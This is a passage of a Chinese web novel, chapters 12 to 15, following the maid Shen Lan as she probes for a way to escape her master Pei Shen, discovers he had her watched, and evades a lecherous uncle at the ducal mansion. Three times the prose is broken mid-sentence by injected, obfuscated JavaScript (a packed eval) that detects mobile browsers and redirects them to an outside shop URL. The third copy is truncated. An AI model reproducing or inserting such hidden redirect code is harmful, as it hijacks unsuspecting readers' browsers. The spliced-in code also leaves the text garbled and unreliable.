裴慎一走,院子里的丫鬟各司其职,无事不会来寻她,侍卫们更是跟着裴慎一块儿走光了。沈澜舒舒坦坦睡到日上三竿,醒来后又在床榻上赖了一会儿,才径自去寻赵娘子,问问她何时出府。 自在惬意地过了半个月,沈澜终于等到了机会。 沈澜带上帷幕出了府。边走边听赵娘子说:“姑娘,这扬州城里最好的胭脂铺子叫戴春林,那香粉香件皇帝都要买呢!前些日子我听院里的婆子说,他们家新出了什么紫茉莉、鹅蛋香……”赵娘子是地道的扬州人,提起扬州风物自是如数家珍。 沈澜极目望去,只觉这扬州城果真是江淮要冲,南北襟喉之地,人口近百万。光是这条街上,便人稠物穰,摩肩接踵,民居挤挤挨挨,精巧繁密。 有小子四处穿行,叫卖着“芍药花、芍药花,簪一朵在头上,俏生生小娘子!” 沈澜见了,好奇道:“如今已是七月,竟还有芍药?” 赵娘子笑道:“姑娘不晓得,这花或是从山上摘的,或是家里搭了暖棚,延上一个月的花期,够这小子赚了。” 果然,沈澜只驻足看了一会儿,那人手里的花便一卖而空。 “油糕,又香又甜的油糕!!” “补锅碗,补锅碗!”补碗匠挑担子穿行而过。 “吹——糖人嘞!吹——糖人嘞!” 沈澜看的目不暇接,可她身无分文,全部钱财都给了陈松墨。况且难得出来一趟,买东西自然不是最重要的。 “赵娘子,我不仅想去买些香粉,还想去看一位故人。只是地方离的有些远,这里可有什么牛车马车租用?” 赵娘子抿嘴轻笑道:“姑娘说笑了,大户人家出门,谁肯坐旁人的马车。小门小户的,假赁马驴约需百文头口钱,谁舍得出这个钱?” 沈澜便眨眨眼,状似疑惑道:“可若有人外出行商,难不成到了一地便去买几匹马,买几条船?那岂不是还没赚着钱便赔了本?” 赵娘子吃吃笑起来,嗔道:“姑娘又顽笑。若要出门贩货,自然要去寻当地牙人,既能在牙人家里住宿,还能放货,又能叫他们去租赁信得过的车马船只。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375395|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈澜知道牙人是中间商,她只是有些不解:“为何要寻牙人?自己去租个车船便是,还能省钱呢!”她就不信精明的商人愿意多一个中间商赚差价,必有什么说道在里头。 赵娘子便笑道:“姑娘年轻,又没有离开过扬州,哪里晓得这些说头。我也是听我男人说的。单说船,若自己去码头随意寻一艘野船载客运货,待到江心,船家若起了贼心,只将人往河里一扔,昧下货物,神不知鬼不觉。” “若有了牙人便不一样了,登船前牙人要在文簿上录下客商、船户姓名,一来震吓船夫一二,叫他不敢起贼心,二来也好方便将来官府查案。” 沈澜恍然大悟。眨眼间便想到恐怕不止姓名,牙人还要查看路引,防止逃犯逃奴,甚至还要登记货物数量,好方便官府税收。 她思及此处,只觉大涨见识,正要再套些话,赵娘子大约是想起了自己的亡夫,神色间便有些郁郁。 沈澜不好再问,只见赵娘子引着沈澜穿过数条小巷,边走边说:“姑娘若不想买戴春林家的胭脂,去馥香堂胭脂铺也好,那都是苏意样子,保管姑娘满意。” “若再往前走两条街,有个海贸铺子,有番货卖,不仅有什么玫瑰花露,还有什么稀罕香料,只是价格太贵,我也不好进去。” 两人一路闲聊,极快便到了馥香堂,沈澜便笑道:“赵娘子,我且在这馥香堂里四处看看,赵娘子尽管去忙。” 赵娘子迟疑片刻:“姑娘,还是快快买了去,女眷孤身在外,到底不好。”不仅是有碍声名,还不安全。 况且这位沁芳姑娘,是爷身边大丫鬟,哪里敢放她一个人在外头闲逛。若出了事可如何是好? “姑娘,挑了香粉便走吧。”赵娘子正要劝,铺子里的伙计见有两个女子站在门前,带着帷幕的少女和中年妇人,想来是母女,便即刻扬起笑招呼:“二位且进来看看,近来新来了些苏州货。俱是拿筛子细细筛了十几遍的,和着脂膏,保管摸上去细腻光滑!” 沈澜无奈,她本想甩脱了赵娘子,去书铺看看,可有游记,记录风土人情的书卖。谁知赵娘子跟的如此之紧,她只能进铺子里转了转,复又跟着赵娘子走了。 她二人去了码头,上回船家送来的鱼虾不新鲜,赵娘子要换一家。再看看市面上可有新的香料,蔬果。 待到两人回到盐漕察院之际,已是半下午。沈澜被赵娘子跟得极紧,除了套话外,竟没能单独行动过。 可这好歹是个好开始。 沈澜深呼吸一口气,裴慎还要半年才回来呢,够她一点一点,蚕食般的了解情况,制定计划。 如同当年在刘妈妈院中那样。 13. 第13章 第二日一大早,沈澜没去寻赵娘子。她心知赵娘子出府频率极低,下一次出府是为了更换时令蔬果,恐怕要一两个月后了,届时已经入秋了。 沈澜不急,只日日与院子里的各个丫鬟婆子闲聊套话,等着赵娘子第二次出府。谁知左等不来,右等不来,沈澜到底坐不住去问了赵娘子。 “何时出府?”赵娘子道,“我上一回出府便与菜贩子说好了,有什么菜蔬果子尽管送来便是,只要是新鲜的,我这边都收。” 沈澜略略思忖便想明白了。这是因为裴慎不在,赵娘子自然懒得精心,菜农上门送什么她就做什么,再也不必出府采买了。 沈澜着实无奈,她又不能说赵娘子不对。领导走了,员工想摸个鱼,有什么问题吗? “我不过是觉得白日漫长,无事可做,便想着出府去看看罢了。还望赵娘子若出去了,带我一个。”沈澜怀揣着最后一丝希望道。 赵娘子就笑笑,不说话了。 沈澜无奈转身,又被赵娘子塞了片桂花糯米藕片,只说叫她甜甜嘴。 接过糯米藕片,沈澜不肯放弃。既然不能与赵娘子一同出府,那便干脆自己去。 这样虽出挑显眼了些,尤其是她有个从刘宅逃跑的前科在,可裴慎难得离开,此时若不多做绸缪,将来机会恐怕更少。 如今已是三秋桂子飘香时,再过上一两个月便要入冬了。沈澜打定主意,只说要去上一次来过盐漕察院的陈氏绣庄,给自己买件入冬的棉衣。 无需与赵娘子同行,赵娘子也不好说什么,只叫她小心些。 沈澜给了膀大腰圆的粗使婆子孙嬷嬷几文钱,对方便高高兴兴地领着她去了陈氏绣庄。 上回给沈澜量尺寸的陈绣娘是这家绣庄的掌事娘子,见了沈澜,自然认得这是盐漕察院的丫鬟,便笑盈盈迎上来:“姑娘,快坐。”又吩咐人看茶。 沈澜抿了口茶水,温热的茶汤带起热气,让沈澜微微舒缓,她轻声道:“我想做件棉衣,可有棉衣卖?” 陈绣娘笑得眉眼盈盈,即刻吩咐人取出了一叠叠棉布:“姑娘且看,这些棉布俱出自于松江,都是时新货。” 沈澜搭话道:“松江棉布,你店里也卖吗?” 陈绣娘哪里知道她在套话,只笑脸迎人,亲亲热热道:“姑娘说笑了,陈氏绣庄在扬州城内也是排的上号的,潞绸、杭缎、蜀锦、松江棉布,南京雕花天鹅绒,样样都有。” 样样都有?那再好不过了。沈澜很满意,便微微侧身望她,轻轻笑了笑。她像是走在沙漠里遇到了水源,笑得真心实意,那是很纯粹的喜悦,清透地如素月清辉,似雨后初霁,表里俱澄澈。 陈绣娘痴痴梦梦愣了会儿,回过神来,咋舌不已。心道若不是跟了个膀大腰圆的婆子,这样的姑娘家里人哪敢叫她出来走动。 “陈娘子,先看看这松江棉布吧。”沈澜道,“这些都是什么花色?” 陈绣娘本就是个生意人,兼之知道她是盐漕察院的人,虽是个丫鬟,可这般美貌,焉知没有飞黄腾达的一天呢? 存了点烧冷灶,将来好搭上贵人的投机心理,陈绣娘便一一介绍起来:“姑娘且看,这是松江的三梭布、织花绒布、官布、棋花布、尤墩布。” “尤其是这两匹斜纹布,最时新的水浪胜子样式,姑娘摸一摸,似绒非绒的,手感也好,一匹只要一两银就好。” 沈澜心知对方主动推销昂贵布匹是想卖货,可她今日之所以来绣庄,也不单纯是为了买棉衣的。 “说来也怪,这松江棉布为何如此有名?”沈澜佯装蹙眉道:“陈娘子可去过松江?” 陈绣娘便不好意思的笑笑:“姑娘,这外地跑商的事俱是我家那口子在折腾。我等闲不出扬州的。” 沈澜便笑笑:“那陈娘子说的什么杭缎潞绸,可曾去过这些地方?” 陈娘子越发歉然:“不曾去过。” 沈澜微微失望,古代原本就交通闭塞,许多人一辈子都出不了十里地。以至于沈澜获得的几乎都是各式各样毫无用处的琐碎讯息。 “陈娘子,你们店里一间普通棉衣要多少银钱?” 最后,沈澜买了两件棉袄,花了一两银子,足足一个月的月钱。 出了绣庄,沈澜原想照着陈松墨临行前给的地址去寻琼华,可偏偏问遍了府中丫鬟婆子,没一个知道这盒子巷在哪儿的。 既然众人都不知道,这地方恐怕颇为偏远,沈澜没有代步工具,靠走是决计走不到的。加之扬州城内因为人口繁多导致到处都是羊肠小巷,精房密舍遍布,沈澜不认识路,根本找不到盒子巷,只能暂时歇了心思。 一连两次出府,都没有收获太多东西。沈澜只能平心静气,等待下一个机会。出府不宜太过频繁,她本打算等一个月后就去书铺,问问可有游记等书籍。 春去秋来,又过了一个月。这一日,沈澜正借着给裴慎打扫书房的机会,翻阅书架上的《经行记》。 此时已是十一月份,隆冬腊月,虽是天高云淡,难免寒气森森。冬日里难得出太阳,沈澜只是站着,背靠楠木架,借着堂前满室日光,全神贯注读书。 她还没读两页,远远传来坠儿啪嗒啪嗒的脚步声。 “沁芳姐姐,大人回来了!大人回来了!” 这才过去四个月便回来了?不是说要半年吗? 沈澜一时心惊,二话不说先将书复位,打量了一番室内,与裴慎走之前并无变动。又细细复盘了这些日子自己的行为可有疏漏之处。 四个月来,沈澜总共只出去过两次。次数少,也从未有过单独行动,甚至都没来及见过琼华,平日里便是闲话也只提及些扬州风物。 沈澜反复思索,只觉自己并未流露出什么破绽,裴慎应当不会起疑,可心里到底凛然起来。 她不复闲散,绷起身体,打开门,安抚了报信的坠儿两句,便急急向外走去。 裴慎归来,她做丫鬟的,必定要去大门迎接。谁知沈澜刚走到月洞门前,便听闻有人斥道:“跑什么!当心摔了。” 沈澜抬头一看,正是裴慎。 四个月不见,裴慎依旧未变。着杂花青袍,鹤氅,素银带,乌皂靴。大步行来之际,可见其英武,只是一双眼睛,如山巅霜雪,夜间寒雾,越发冷冽了。 她在打量裴慎,裴慎也在看她。见她穿着照旧素净,柳青棉袄,葱白素裙,别的就没有了。只是荆钗布裙也衬得她云鬓鸦鸦,唇色朱红,香腮如细雪,看着越发美了。 朔朔寒风里,沈澜上前两步,行礼:“爷回来了。” 扬州瘦马之所以名唤瘦马,就是因为身姿纤细可怜,这样的美是要靠节食换来的。在刘宅,沈澜一旦吃多些即刻就要挨打,以至于在盐漕察院养了五个月,到了秋冬季依然手脚冰凉。 裴慎只觉她这脸似有些虚白,便蹙眉道:“穿成这样立在寒风里做甚!还不快回去。” 沈澜头一回觉得裴慎说话如此动听,即刻点头称是,待她进了正房,温暖的热气扑面而来,眉眼都舒缓下来。 “爷可要沐浴?”沈澜自觉道。一路风尘仆仆,裴慎喜洁,必定是要沐浴的。 裴慎点头,只舒展肢体,任由沈澜为他更衣。 沈澜正专心解他鹤氅,裴慎忽然道:“你这身衣裳不错,陈氏绣庄的绣娘用心了。” 沈澜脸色煞白,指尖一顿,心脏如同擂鼓般狂跳起来。这衣服很素净,也没个标记,他怎么刚回来就知道她去了陈氏绣庄?是院子里的丫鬟婆子告诉他的,还是…… “爷怎么知道这是我前些日子去陈氏绣庄买的?可是孙嬷嬷说的?”沈澜低着头,强作镇定。 裴慎只懒散笑问:“孙嬷嬷是谁?” 果然,裴慎连院子里丫鬟婆子叫什么都懒得记,这些人也不会无聊的去告诉裴慎,沈澜出了两次府。可裴慎偏偏刚回来就知道她去了陈氏绣庄,那就只有一个可能。 裴慎派人监视她。 沈澜浑身紧绷,只兀自低头去解裴慎腰上竹叶青潞绸荷包。一面解,一面绞尽脑汁想着裴慎监视她做什么?她一个做丫鬟的,有什么值得裴慎监视的? 沈澜秀眉微蹙,脑中百转千回。倏忽之间便已想到了答案。 裴慎年纪轻轻便能登临高位,必定心思缜密,凭什么相信她一个深陷贼窝七年,出身不清白,第一次见面就试图蒙骗他的瘦马呢? 监视她才是题中应有之义。 更别提他们的相遇如此巧合,刚查到账本在刘宅,便遇到貌美瘦马出逃,被林秉忠掳来自己面前,还恰恰是第二天便要送给他的瘦马。 裴慎必是起了疑心,怀疑她是别人故意送来的。于是顺水推舟,将她留在身边。 只怕裴慎这四个月的外出公干不仅仅是为了公事,也是为了试探她。 若她背后有人指使,异动频频,足够裴慎顺藤摸瓜,一网打尽。若她虽无人指使,却再度出逃,那便是不忠,抓回来照着逃奴处置便是。 沈澜思及至此,一时间额间隐有细汗,竟略有几分惊惧。一个月来朝夕相处,此人甚至手把手教她读书习字,原来撕开温情脉脉的面纱,底下竟是冷血无情的算计。 只是惊惧之外,又油然而生几分庆幸。万幸,她没有莽撞逃亡,行事谨慎未曾留下破绽。 更幸运的是,她终于找到了裴慎将她留在身边的理由。 监视、试探……只要不是见色起意就好。 沈澜心中大定,一时间鼻子竟有些酸涩。趟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375396|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过千难万险,好歹不用给人做妾了。 她思绪百转千回,只垂下头去,修长的五指绕在他腰间攒心梅花络子上,仿佛随口道:“爷,说来已快半年了,不知刘妈妈如何了?” 闻言,裴慎只淡淡道:“绞刑。” 沈澜微怔。只觉胸中一口郁气吐出。害死了那么多姑娘,以命抵命,属实应当。 “那刘葛也判了吗?” “亦是死刑。”语毕,裴慎补充道:“沁芳,盐所贪污受贿案案犯该死的死,该流的流,秋后判刑俱已结束。” 沈澜指尖一顿,将素银腰带取下,放置在楠木清漆小几上。她心中已是隐隐有数。果然,裴慎对她的监视停止了。因为受贿案已彻底了结。沈澜不涉其中,的确清白,自然不必再被监视。 无论如何,她通过了裴慎的试探。想来自此以后,裴慎便能安心了。 沈澜也很安心。既然裴慎对她无意,照着林秉忠的说法,只要熬到十八,国公府就会将丫鬟脱籍。届时靠攒下的银钱做些小生意,日子就能过起来了。 沈澜心情大好。 沐过浴,裴慎正慢条斯理吃一碗鸡丝汤面。清淡的香气扑面而来,在寒冷的冬日,吃一碗热腾腾的汤面,令他眉眼都舒缓下来。 待他吃完,沈澜奉上温热的棉帕。裴慎净手后又接过她奉来的小四岘春,呷了一口道:“沁芳,近来不必添置东西,陆陆续续将行李收拾起来,再过几个月便有新任巡盐御史前来与我交接,届时便要回京述职,再行外放。” 沈澜心中霎时明透了然,恐怕这便是裴慎暗示监视一事的目的了,提点她通过了试探,暗示扬州事务全部了结,自此以后,北上南下,俱要跟着他走,安心伺候,莫起些歪心思。 至于沈澜是否听懂,听懂了更好,听不懂也无妨,左右裴慎只夸了她一句衣衫好看罢了。 “是。”沈澜垂首,停顿片刻又道:“爷,离了扬州故土,也不知何时才能回来。我可否去见一见故人?”虽说如今沈澜只需静待脱籍,可脱籍后的生计还没着落呢。若琼华能把绣庄经营起来,沈澜将来投奔她,也算条出路。 谁知裴慎蹙眉道:“可是那个叫琼华的?” 见沈澜点头,他剑眉拧起来,目光锋锐,直直看向沈澜:“照着刘妈妈的口供,你与她素来不睦,赠她百两也就罢了,全当你做善事了。可你非见她做甚?莫不是要与她叙一叙离别之情?” 沈澜咋舌,心道此人果真看过刘妈妈口供。恐怕对她与琼华等人的关系心知肚明。 “爷,我与琼华虽不睦,却也无深仇大恨,不过是刘妈妈居中挑拨,不肯叫姑娘们报团罢了。如今我要离开扬州,临行前若不去见一面,心里总也难受。” 闻她言,裴慎已略有不耐烦:“你是我丫鬟,瘦马不过是个玩意儿,你总与她们纠缠做什么?” 沈澜微怔,一时齿冷。瘦马是个玩意儿,丫鬟难道就不是吗?生死俱操于他人之手,同病相怜罢了。 见她脸色微微发白,裴慎轻叹息道:“你既当了我丫鬟,日后天南海北的与我去,必有一份好前程与你。往事故人的,又不甚光彩,俱断了去罢。” 沈澜心中发寒,奴籍加瘦马加涉案,听起来的确不光彩。可她与琼华俱是受害者,有什么好丢人的? 沈澜本想反驳,只是人在屋檐下,不得不低头,忍过三年便好了。她兀自安慰自己,便垂首道:“爷教训的是。” 这一应承,她竟再也没能寻机见一面琼华。 日子倏忽而过,盐政改革虽开了个好头,只是裴慎照旧不得闲。临卸任前,他风餐露宿,快马疾行,再次花费了大半个月的功夫巡视都转运盐使司三个分司,两座批验所,六十二个盐场,盐课司,以查验盐政改革起效如何。 沈澜不由得咋舌,勤政至此,怪不得年纪轻轻就能大权在握。然而或许是时势造英雄,裴慎官途比沈澜想象的还要顺遂。 裴慎十七岁中进士,在翰林院当侍读三年,调任两淮巡盐御史。因盐政有功,一年后被调任至京都担任户部清吏司郎中。 己巳年四月,裴慎刚至京都,蒙古孛儿只斤氏俺答义子脱脱率领三千余兵马入侵京都,裴慎开强弓射杀一名千户,脱脱为其所摄,故退去,裴慎转为兵部职方清吏司郎中。 同月,草原白灾,牲畜、人员尽数冻亡。俺答亲率军一万,劫掠京都周围十四所州县、焚毁房屋数万、蹂踏良田万顷,数万百姓流离失所,涌入京都。 裴慎募流民中敢死之士,夜入敌营,营啸后俺答被迫退走。裴慎因此被擢升为右佥都御史,并任山西参政。 庚午年,裴慎因镇压山西白莲教叛乱有功,擢山西巡抚。 同年,裴慎出孝,归家成婚。 14. 第14章 魏国公府,门前三道门楼,门楼之上龙额金书。穿过门楼,方到了国公府正大门,三间五架门屋,金漆兽面锡环,太.祖亲提的紫檀木匾额高悬,泥金署书体态方圆,端楷典重。 入得门内,绕过影壁,前厅、中堂、后堂俱是七间九架,处处碧瓦朱甍,黑金窗枋,重檐重栱,层台累榭。 南山堂,五间七架正房,庭中有嶙峋山石缀着数杆修竹,几株芭蕉,时有报信的丫鬟小厮进进出出。 “快!快去探探,慎哥儿到哪儿了?” 国公府的老祖宗年过花甲,穿着金绣云霞翟纹的真红袖衫,银发拿桂花头油抹得整齐,拄着八仙过海楠木杖,坐在榉木螭龙纹倚板圈椅上,心心念念,非要打发家里的小厮再去码头探探。 素来妙语连珠的二太太一样满头珠翠,绮罗遍身,这会儿站起来凑趣道:“不得了,老太太打发了十七八个小厮去还不够,这是要再打发十七八个啊!” 一时间,满堂众人欢声笑语,老祖宗笑骂道:“好你个泼猴,待慎哥儿娶了媳妇,非叫她撕了你的嘴不可!” 二太太喊冤道:“老太太,您一心只想着慎哥儿未过门的媳妇,有了新人便不要我这个老丝瓜瓤子了!” 满堂霎时又欢笑起来。 就连裴慎的母亲大太太也笑道:“你四十好几的人了,怎得还这般顽皮!” 二太太更冤枉了:“嫂嫂,你莫冤枉我,论顽皮,我哪里比得过四太太。”话一出口,二太太暗道不好。 果然,满堂欢笑忽然都寂静了下来。如同一盆凉水泼下来,气氛急转直下。 直到一旁坐着的四老爷捋了捋一把美髯道:“二嫂,好端端的,提这丧门星做甚!” 将自己的妻子称呼为丧门星,一时间,女眷都心有戚戚。 三太太是个安静娴雅性子,素日里鲜少说话,此刻竟忍不住讽刺道:“四弟,你那是拿着丝瓜筋打老婆——装腔作势演给我们看呢!谁不知道你们夫妻恩爱有加啊!” 四老爷差点被气得揪断胡须。谁跟那疯婆子恩爱有加!不过是寻摸了个粉头养在外面,这疯婆子竟喊了人将他和粉头捉奸在床!闹腾得整个京城都知道了。成何体统!成何体统! 四老爷正气着呢,门口忽有小厮来报,“世子回来了!世子回来了!” 堂中气氛一下子和乐起来,四房其乐融融,仿佛刚才的事情都没发生过。 裴慎一进门,他母亲便急急迎了上来,一叠声喊着“慎哥儿”、“慎哥儿”。 母子相见,原该热泪盈眶。只是裴慎三岁移进外书房开蒙读书,六岁去往书院刻苦求学,十七岁考中进士方才归家。此后又连连外放,论起来,他与母亲感情实在淡薄。 母亲不知道该怎么面对这个六岁就离家求学的孩子,裴慎也不知道该怎么面对陌生的母亲。 跟在身后的沈澜原本不想掺和,她已经十八岁了,再过几个月待裴慎成婚后她便能出府,只想安静熬完最后几个月。 可俩人就这么站着,回头裴慎想起来了,多半要觉得她没眼色,届时还得给她甩脸子看。 沈澜安慰自己,辞职也要站好最后一班岗,便上前半步,垂首低声道:“爷,礼物。” 裴慎便一下坦然起来,“劳母亲挂念,儿离家多年,如今带了些东西回来,也好给大家分一分。”说着,便喊了声沁芳。 沈澜从身后小丫鬟手中接过礼品,一个个递给裴慎。 男性是雕刻着不同铭文的青绿端砚,年长的刻着“天保九如”、“兰薰桂馥”等,年轻还要考功名的刻着“蟾宫折桂”、“独占鳌头”,小孩子则是“桑弧蓬矢”、“虎豹之驹”等等。 女性统一是金银锞子,照着个人的生肖打造一整套不同动作的,看起来煞是可爱。 “慎哥用心了。”老祖宗感叹道。其余收到礼物的人也颇为满意。 裴慎也很满意。当年他离任扬州,原本是坐官船回返京都,忽闻俺答大军压境,京都被脱脱所围,只将沈澜留在官船上,自己下船快马疾驰回援京都,靠着战功一跃而起,升任山西参政。又速速带着沈澜转道赴任山西,以至于沈澜从未登过国公府的大门。 即使如此,她依然将礼物打理的妥妥当当,可见其办事谨慎,从无疏漏。 一行人都是家里人,也不必避讳什么,只在水榭上设宴。这水榭建在湖边,湖面清渺,芙蕖生香,旁有怪石嶙峋,正是负山背水的好地方。 男人一桌,女眷一桌,齐聚在一起吃吃酒,说说话,再叫伶人戏子们唱两出渔阳弄、翠乡梦。 这宴席甚丰,杯盘错落,水陆尽有,簇盘、糖缠、兰溪猪,太仓笋,松江米,火炙鹿肉,冰鸭鲥鱼,当真是穷山之珍,竭水之错。 沈澜看得咋舌不已,杵在裴慎身后听他们说着诗词歌赋,时不时考校些四书五经的功课,再替裴慎斟酒。 只她垂首不语,姿态恭谨,离裴慎不远处的四老爷余光来来回回打量她。 虽低着头看不见整张脸,只看那雪肌玉肤、修长白皙的脖颈、玲珑有致的身段,一看就是个美人。 四老爷饮尽杯中石练春,清清嗓子道:“守恂啊,我记得你离府去扬州上任时只带了几个侍卫小厮,怎么如今从山西回来竟带了个丫鬟?” 沈澜心里一突,好端端的,提她做甚。 裴慎原本正考校几个堂弟功课,闻言望了眼四老爷,只淡淡道:“四叔,沁芳是我丫鬟。” 四老爷裴延正色心上头,哪里听得出裴慎的警告之意,又是时隔多年未见这侄子,只觉自己是长辈也不怕他,便一把打开手中金铰藤骨蜀扇,故作洒脱道:“公府里的丫鬟走到外头去,便是被人称一声小姐也行,何故低着头畏畏缩缩不说话?你且抬起头来看看。” 沈澜暗道倒霉,也不知道这位四老爷是真好奇还是假好奇。可她知道自己是绝不能抬头的。 年近十八的沈澜长开了,身量也纤秾有度,一旦被公府里的爷们看上,她可不敢保证裴慎会不会把她送出去。 正当沈澜思索如何逃过这一场的时候,裴慎看向四老爷,目露警告:“四叔,她胆小,不敢看人。” 四老爷一时间便有些不愉,不过是个丫鬟罢了,何至于这般娇惯。 见气氛有些僵着,一旁的二叔三叔连忙打起圆场来,底下几个小的也跟着笑。 恰在这时,女眷那里又送了碟子荷花酥来,只拿斗彩灵云碟盛着,摆成了品字形。二太太高声凑趣道:“慎哥,这可是你母亲赏你的,还不好生谢过你母亲?” 裴慎便道:“多谢母亲关怀。” 大太太不知为何,竟有些讪讪的摆摆手:“空腹吃酒不好,吃些糕点垫垫。” 裴慎的亲弟弟,一母同胞的裴珲年纪不过才十七,此刻叫嚷起来:“这荷花酥是我最喜欢吃的,哥哥你饶我一块罢。” 裴慎是何等敏锐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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为首的叫念春,一行四个大丫鬟,念春、槐夏、素秋、清冬,并其余的丫鬟婆子尽数站在院门前迎裴慎。 裴慎这些年常居上位,威仪日重,丫头婆子们见了都不敢说话。可他今日头戴玉冠,腰佩白玉,穿着宝石蓝的直缀,神峻骨秀,身姿挺拔。尤其是那张脸,端的是面比何晏,羞煞潘安。 一时间,几个年轻貌美的丫鬟便有些想头。 裴慎却目不斜视的走过,随意摆摆手叫她们起来。 回来之后直接去了南山堂见老祖宗,根本没回过存厚堂,以至于沈澜和这里的丫鬟婆子互不认识。 “快!快扶着爷进去。”念春匆匆指挥几个小丫鬟过来簇拥着裴慎。只是槐夏与清冬一下子便将那几个小丫头挤开,一左一右扶着裴慎进去。 念春见状,顿时气结,转过身来,见沈澜低着头,穿的素净,浑身不带首饰,只头戴一根银簪,还以为她是哪个院里的小丫鬟,劈头盖脸骂道:“杵在这里做甚!没点眼色的东西!你哪个院里的?我与你们管事嬷嬷分说去!” 沈澜蹙眉,她只需再熬几个月,待裴慎成婚便好,何苦与旁人争吵,平添是非呢,便想忍耐一二。 恰在此时,有个小丫鬟兰香匆匆道:“诸位姐姐,爷嫌弃腰上香囊味道太浓,扯了叫我收着,我方才走的急,如今找不到了。” 念春火气还未发完,正张口欲骂,沈澜连忙道:“可是天水碧绣着几支竹叶的潞绸香囊?” 兰香已是语带哭腔,连忙点头道:“好姐姐,我这便回去找。” 沈澜道:“不要急,许是忘在水榭了。我与你同去便是。” 她可不想在这里跟人吵架,更不想进去伺候裴慎脱衣去靴、铺床叠被、端茶倒水,便跟着兰香去寻那香囊。 见她二人走了,念春也顾不得责骂,急急去伺候裴慎更衣。 15. 第15章 出了存厚堂,涉阶而下,正值春夏之交,草木勃发,一路行来,漏窗外忽有迎春吐蕊,牡丹生香,迎面又遇芭蕉新绿,修竹正茂。移一步,换一景,只觉庭前廊下天光朗朗,万绿齐晓,一派的好山好水好景致。 沈澜悠闲其中,不带半分烟火气,只缓步慢行,沿着曲折蜿蜒的回廊到了“澄波拥翠”水榭。 “这么找不行。”沈澜沉吟道:“你找左侧,我找右侧,若抄手游廊没有,爷回来的时候在水榭前停驻了一会儿,恐怕要去那里找找。” 她与兰香一齐找了抄手游廊和水榭,都没有,便只能出了水榭再往前走。前面是一片小花园,这小花园位于国公府西侧,实则一点也不小。 沈澜极目远眺,以黄石叠成的秋山古拙苍劲,上有松木枝桠横生,掩映着一个四角小亭,名唤拥翠亭。只这一座假山就够大了,前面还连着一片澄湖,栽种着满塘荷花。 沈澜叹息:“此地太大,我们分从两头找起,届时便在这假山处汇合,如何?” 兰香憋着泪,只点头称是。 两人分开后沈澜边走边低头找,谁知正沿着乱石小径走了没多久,忽有人斜斜踉跄几步,冲了出来。她原本低着头找东西,一时没注意竟撞了上去。 “哎呦。”那人惊呼一声。 沈澜下意识抬头去望。 霎时间,沈澜脸色一变,虽已低下头去,只是已然来不及了。 四老爷裴延骤然见此等好颜色,一时间色授魂与,竟痴痴地望着她,连话都说不出来了。 当真是霞姿月韵、绮年玉貌,荆钗布裙难掩清丽脱俗,青裙缟袂可见瑰逸绝伦,此人姿容之盛,浑然不似凡俗之流。 怪不得他侄子既不许她抬头,也不许她穿锦衣华服,想来是想独占此等佳人。 沈澜见是四老爷,暗道不好,转身欲走。见她要走,裴延急急拦住道:“沁芳姐姐这般着急做甚?” 被一个四十几的老男人油腔滑调喊姐姐,沈澜几欲作呕,她狠掐手心低头道:“四老爷,奴婢要回存厚堂去了。”说着,竟不顾裴延的阻拦,急急要走。 谁知裴延喝了酒,色欲熏心,原本不过是好奇,借着三分醉意撒撒酒疯,想瞧瞧她长什么样子,如今见了,哪里肯放她走? 他一把扯住沈澜的袖子,另一手便想去搂她的腰,沈澜心知今日是走不了了,便镇定下来。若拉拉扯扯被人发现,闹大了,裴慎未必肯保她,或许为了叔侄和睦,还要把她送给裴延。 沈澜抬起头来,娇嗔道:“你这般急色作甚!” 见她扬眉浅笑,似春日新桃般娇艳可人,凑近了似能嗅到滟滟香雾,幽幽冽冽,清雅绝伦。裴延一时间色授魂与,心旌摇曳,忍不住伸手去抚摸她洁白细腻的一双柔荑。 沈澜强忍着恶心,垂首羞羞怯怯道:“四老爷,光天化日的,奴婢怕。” “怕什么?”裴延柔声哄她:“这府里能管我的只有老太太,老太太最是疼我。我将你讨来可好?” 沈澜一惊,心中郁郁发沉,最糟糕的事情发生了。他若向裴慎索要她,谁知道裴慎会不会给? 沈澜银牙紧咬,只怯怯道:“四老爷,我虽是个奴婢,却也是正经人家,可不愿没名没分的跟了你。” 裴延暗笑,小丫鬟真是想攀高枝想疯了,也不看看自己是个什么货色。还以为什么阿猫阿狗都能给他做妾。 只不过现在嘛,哄哄她倒也无妨。 裴延捋美髯,只摆出一副正经读书人的肃然样子,嘴上却低声道:“我自然是要纳你做妾的,以后我日日来你房中,保管叫你尝尽人间极乐事,独步风流第一科。” 沈澜恨不得砸烂这张色欲熏心的脸,却只笑盈盈道:“那便谢过郎君了。”郎君二字,仿佛在朱唇榴齿间辗转,带出了几分香艳的暧昧。 裴延更为急色,忙道:“走走走!我明日便向守恂去讨你。” 沈澜一把拉住他:“不可!叔叔去侄子房里讨丫鬟太过难听,倒不如我自己去向爷请辞,先去了老祖宗那里,过段时间郎君让老祖宗把我赐给你便是了。” “好好好!这个办法好!”裴延连连点头。 见他信了,沈澜松了口气。如今只要糊弄过去便好,届时她每日跟紧裴慎,或是只待在院子里不出来,再熬几个月就走了。 “那我便先走了。”沈澜提步欲走,却被裴延一把拉住袖子。 